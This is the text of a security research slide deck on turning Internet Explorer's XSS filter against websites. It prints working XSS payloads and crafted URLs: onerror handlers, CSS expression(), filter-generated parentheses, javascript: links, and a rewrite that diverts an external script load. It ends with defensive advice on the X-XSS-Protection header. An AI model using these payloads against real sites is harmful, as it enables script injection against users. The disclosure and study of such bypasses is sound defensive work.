XSS Attacks: Exploiting XSS Filters
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2015/12: I removed some slides because some vectors are not fixed yet. 2016/12: Disclosed full verson
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XSS Attacks: Exploiting XSS Filters
- 1. X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter Masato Kinugawa
- 6. Today's topics ❶XSS technique ❷Bypass XSS filter technique Using IE's XSS filter
- 7. XSS Filter Chrome and Safari have the same function. It was introduced from IE8.(2009)
- 8. Basic of XSS filter of IE http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x onerror=alert(1)> </body> </html> Before cut-off If request and response are matched with dangerous condition, XSS filter rewrites a page.
- 9. Like this # http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x #nerror=alert(1)> </body> </html> If request and response are matched with dangerous condition, XSS filter rewrites a page. After cut-off
- 10. Dangerous condition It isn't documented in particular. We can see the loading binary to browser of dll include regex of cut-off strings. The regex introduced by this slide is from here.
- 11. Inaccuracy of XSS Filter If matched with the condition, XSS filter rewrites a string unrelated to part of a dynamic creation of user input. http://example.com/?q=AAA&<meta+charset= <!DOCTYPE html> <html> <head> <m#ta charset="utf-8"> </head> <body> q param is: AAA </body> </html>
- 12. Nightmare: 1
- 13. JS execution from style attribute <p style="x:expression(alert(1))"> <p style="behavior:url(script.sct)"> expression() or behavior are possible.
- 14. Example of the style attribute grammar. <p style="x=expression(alert(1))"> Using colon instead of equal (Compatibility mode only) <p style="x:expression0028alert(1)0029"> <p style="x:expression(alert(1))"> Unicode escape of CSS Numeric character references
- 15. Regex of style attribute section in the filter. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
- 16. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) First, end of attribute Regex of style attribute section in the filter.
- 17. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) Then, style= Regex of style attribute section in the filter.
- 18. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) Then, colon or equal Regex of style attribute section in the filter.
- 19. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) If string includes left bracket or backslash, cut the request. Regex of style attribute section in the filter.
- 20. Attention here [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) If string includes more than 0 characters of string equal to blank after "style", cut the request. [0x09-0x0D] OR [0x20] OR / OR +
- 21. URL: ?/style+=: /styleA=: To the following request. When below is output. How does the XSS filter react? Anatomizing blank section
- 22. Anatomizing blank section One character between "style" and = URL: ?/style+=: /st#leA=: To the following request. When below is output. Matched!
- 23. Anatomizing blank section 2 characters URL: ?/style+=: /st#leAA=: To the following request. When below is output. Matched!
- 24. Anatomizing blank section 3 characters URL: ?/style+=: /st#leAAA=: To the following request. When below is output. Matched!
- 25. Anatomizing blank section 4 characters URL: ?/style+=: /st#leAAAA=: To the following request. When below is output. Matched!
- 26. Anatomizing blank section 5 characters URL: ?/style+=: /st#leAAAAA=: To the following request. When below is output. Matched!
- 27. Anatomizing blank section 6 characters URL: ?/style+=: /st#leAAAAAA=: To the following request. When below is output. Matched!
- 28. Anatomizing blank section 7 characters URL: ?/style+=: /styleAAAAAAA=: To the following request. When below is output. Through
- 29. Anatomizing blank section In 0 character, URL: ?/style+=: /st#le=: To the following request. When below is output. Matched!
- 30. In short URL: ?/style+=: /st#le=: /st#leA=: /st#leAA=: /st#leAAA=: /st#leAAAA=: /st#leAAAAA=: /st#leAAAAAA=: /styleAAAAAAA=: =+ in the URL Arbitrary 0-6 bytes in the HTML
- 31. In ++, URL: ?/style++=: /st#leAAAAAAA=: matched to 7 characters Matched!
- 32. Width of 0-6 bytes u000A (6bytes) 
 (6bytes) The consideration of a case where characters are replaced or deleted. This width is changing from character(byte).
- 33. For example, / is 0-3 bytes width. URL: ?/style/=: /st#le=: /st#leA=: /st#leAA=: /st#leAAA=: /styleAAAA=: /styleAAAAA=: /styleAAAAAA=: /styleAAAAAAA=:
- 34. Last backslash URL: ?/style=: /st#le=: /st#le=:aaa Even outside of HTML reacts.
- 35. Example of correct cut-off of style attribute <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value="[XSS_HERE]"> </body> </html> URL: ?q=[XSS_HERE] In this case,
- 36. <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> </body> </html> URL: ?q="style="x:expression(alert(1)) You can attack like this. but, if It includes the filter… Example of correct cut-off of style attribute
- 37. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
- 38. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
- 39. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
- 40. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
- 41. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
- 42. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
- 43. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
- 44. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1)) Matched!
- 45. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""st#le="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1)) adequately cut-off!
- 46. In this time, Cheat the filter <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value=""<>"> </body> </html> URL: ?q="<> Nothing XSS
- 47. <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value=""<>"> </body> </html> URL: ?q="<> Attention here
- 48. <style> body{background:gold} </style> </head> <body> <input name="q" value=""<>"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
- 49. <style> body{background:gold} </style> </head> <body> <input name="q" value=""<>"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
- 50. <style> body{background:gold} </style> </head> <body> <input name="q" value=""<>"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
- 51. <style> body{background:gold} </style> </head> <body> <input name="q" value=""<>"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
- 52. <style> body{background:gold} </style> </head> <body> <input name="q" value=""<>"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
- 53. <style> body{background:gold} </style> </head> <body> <input name="q" value=""<>"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
- 54. <style> body{background:gold} </style> </head> <body> <input name="q" value=""<>"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) Oh?!
- 55. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ? Matching on URL side
- 56. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style
- 57. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++ Here is 31bytes 6 of + in the URL
- 58. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++ (Except =) 9 bytes, 2 of +
- 59. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++=
- 60. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++= Matched!
- 61. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </st#le> </head> <body> <input name="q" value=""> URL: ?/style++++++=++= ?!
- 63. <style> body{background:gold} </style> </head> <body> <input name="q" value=""> ... URL: ?/style++++++=++= Original area of style element
- 64. <style> body{background:gold} </st#le> </head> <body> <input name="q" value=""> ... URL: ?/style++++++=++= The area of style element after cut-off.
- 67. Nightmare: 2
- 69. Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).
- 70. Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Includes j,
- 71. Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Includes tab or newline character more than 0 characters,
- 72. Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Includes a,
- 73. Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Includes tab or newline character more than 0 characters…
- 74. Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Those continue until the colon of "javascript:".
- 75. (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). After the colon, arbitrary one character. Make it easy to see
- 76. Cheat the filter again <script type="text/javascript">a=1</script> <script> var q="[USER_INPUT]"; </script> We assume that the designated string from the user is stocked.(※ For simplicity, we consider It's already outputting the string except URL parameter.)
- 77. Cheat the filter again <script type="text/javascript">a=1</script> <script> var q="</script>""; </script> XSS measure is also appropriate!
- 78. Cheat the filter again <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> We assume that the attacker chose this string.
- 79. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: Then, we assume that the attacker leads the user to this URL.
- 80. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
- 81. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: 24bytes 4 of [0x0A] in URL
- 82. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
- 83. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: 10bytes 2 of [0x0A] in URL
- 84. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
- 85. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: Matched!
- 86. <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: ?!
- 88. <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: This is not inside script tag!
- 89. <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
- 90. Nightmare: 3
- 91. <body> <script> var q="";abc.def="; </script> </body> URL: ?q=";abc.def= The character which passes through literal and assignment of property access Example of correct filter (string literal)
- 92. <body> <script> var q="";abc#def="; </script> </body> URL: ?q=";abc.def= Example of correct filter (string literal) The filter replaces "." for cut-off.
- 93. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= Filter's regex of string literal
- 94. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <body> <script> var q="";abc.def="; </script> </body> URL: ?q=";abc.def= Matched!
- 95. Cheat the filter one more <script src="//example.co.jp/test.js" type="text/javascript"> </script> We assume that code of only loading external script is here.
- 100. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++ 11bytes 2 of +
- 102. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++ 16bytes 3 of +
- 103. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++= Matched!
- 104. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co#jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++= ?!
- 106. <script src="//example.co#jp/test.js" type="text/javascript"> </script> This is not loading from example.co.jp, loading from example.co!
- 108. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="../1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT] The page of loading CSS and outputting user's input.
- 109. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="../1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= Matched!
- 110. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= ?!
- 112. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= This is loading this as CSS.
- 113. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}&"+=+.++++= Like this…
- 114. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}&"+=+.++++=
- 115. Nightmare: 4
- 116. Bypass 1: expression() <p style=v:expression&bx28;alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s: If simple XSS is here, It should write (but write &bx28;.
- 117. <p style=v:expression&bx28;alert&bx28;1))>s: Something is here! URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s: Bypass 1: expression()
- 118. Rignt, vbs: and vbscript: are cut-off targets. (v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([# ()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(b| (&[#()[].]x?0*((66)|(42)|(98)|(62));?))([t]|(&(([#()[ ].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[# ()[].]x?0*((83)|(53)|(115)|(73));?))([t]|(&(([#()[]. ]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#() [].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x? 0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[] .]x?0*((82)|(52)|(114)|(72));?))([t]|(&(([#()[].]x?0*( 9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()[].]x ?0*((73)|(49)|(105)|(69));?))([t]|(&(([#()[].]x?0*(9|( 13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[].]x?0* ((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13) |(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((8 4)|(54)|(116)|(74));?))([t]|(&(([#()[].]x?0*(9|(13)|(1 0)|A|D);?)|(tab;)|(newline;))))*)?(:|(&(([#()[].]x?0*(( 58)|(3A));?)|(colon;)))).
- 119. <p style=v:expression&bx28;alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As: I adjusted URL for reaction of vbs:. Before cut-off Bypass 1: expression()
- 120. <p style=v:expression(alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As: It created the left parenthesis.(() After cut-off Bypass 1: expression()
- 121. <p style=v:expression(alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As: One More! Before cut-off Bypass 1: expression()
- 122. <p style=v:expression(alert(1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As: Then… After cut-off Bypass 1: expression()
- 124. Bypass 2: <a folder> https://html5sec.org/#36 <a folder="javascript:alert(1)" style="behavior:url(#default#Anch orClick)">Click</a> In the following, it can create the link for javascript:. (Document mode of IE8- is necessary.) Thanks, Mario!:)
- 126. URL: ?q=<a+folder="jav%26bx41%3Bscript:alert(1)" +style="behavior:url%26bx28%3B%23default%23 AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0 Ab%0A%0A%0A%0A%0As: <a folder="javAscript:alert(1)" style="behavior:url(#default#AnchorClic k)"s:>Click When the link which the filter created is clicked.. After cut-off Bypass 2: <a folder>
- 128. http://l0.cm/xxn/ The test page of all methods. It includes methods which I didn't introduce.
- 130. X-XSS-Protection Value Effect 0 Disable 1 Enable (Partial rewrite) 1;mode=block Enable (Prevent rendering of the page) Default It can control function of XSS protection.
- 131. Default is partial rewrite It rewrites only problem part. It seems to be good for developers. That, ➡ How should site administrator do? It produce possibility of attack which I introduced.
- 132. How are careful persons doing?
- 133. HTTP/2.0 200 OK Date: Mon, 19 Oct 2015 22:32:06 GMT Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN ...
- 134. HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html Date: Mon, 19 Oct 2015 22:40:37 GMT x-content-type-options: nosniff X-Frame-Options: DENY X-XSS-Protection: 0 ...
- 135. The choice which considered more safety Value Sites which should choose header 0 They are measuring basic XSS. /They want to remove false-negative. 1 Not recommended (Discovered technique affects here.) 1;mode =block It is probable that the site have XSS. /They want to protect site just in case. Default X-XSS-Protection:0 or 1;mode=block
- 136. Is mode=block safe? It should don't affect direct script execution. I think a favor of the filter is bigger than it. If feature of cut-off can detect from outside, they may guess page contents. This possibility probably can't be changes to zero. On the other hand…
- 137. Do you want to use no X-XSS-Protection? Then, you should do as follows: If you can do those, From the first, you don't create normal XSS! ✔ you should completely grasp XSS filter's cut- off action. ✔ If the part of the page is rewritten, you should inspect all page for normal operation and safety. ✔ If the page includes dangerous part, you should rewrite the code one by one for avoidance.
- 138. In fact In some case, it is possible to not operate specific function from intentional false positive. (…) Did the author of XSS filter introduce XSS filter while recognizing about the risks? (or not) I’m interested a little about it. Mr. Terada's blog http://d.hatena.ne.jp/teracc/2 0090622 Browser side introduced it, knowing the risk. Mr. Terada and Mr. Hasegawa's log at 6 years ago is as follows:
- 139. In fact http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke Insider said "The answer is Yes. ". Mr. Hasegawa Browser side introduced it, knowing the risk. Mr. Terada and Mr. Hasegawa's log at 6 years ago is as follows: ➡ When you become careful, you should add the header. This is an old story！
- 140. Conclusions I'm hoping for improvement of XSS filter. It should still be possible to do safely. Is present default action really OK? In theory, cut-off risk is inseparable from XSS filter. I want web developer to know this possibility. I highly recommend XSS protection control except default action.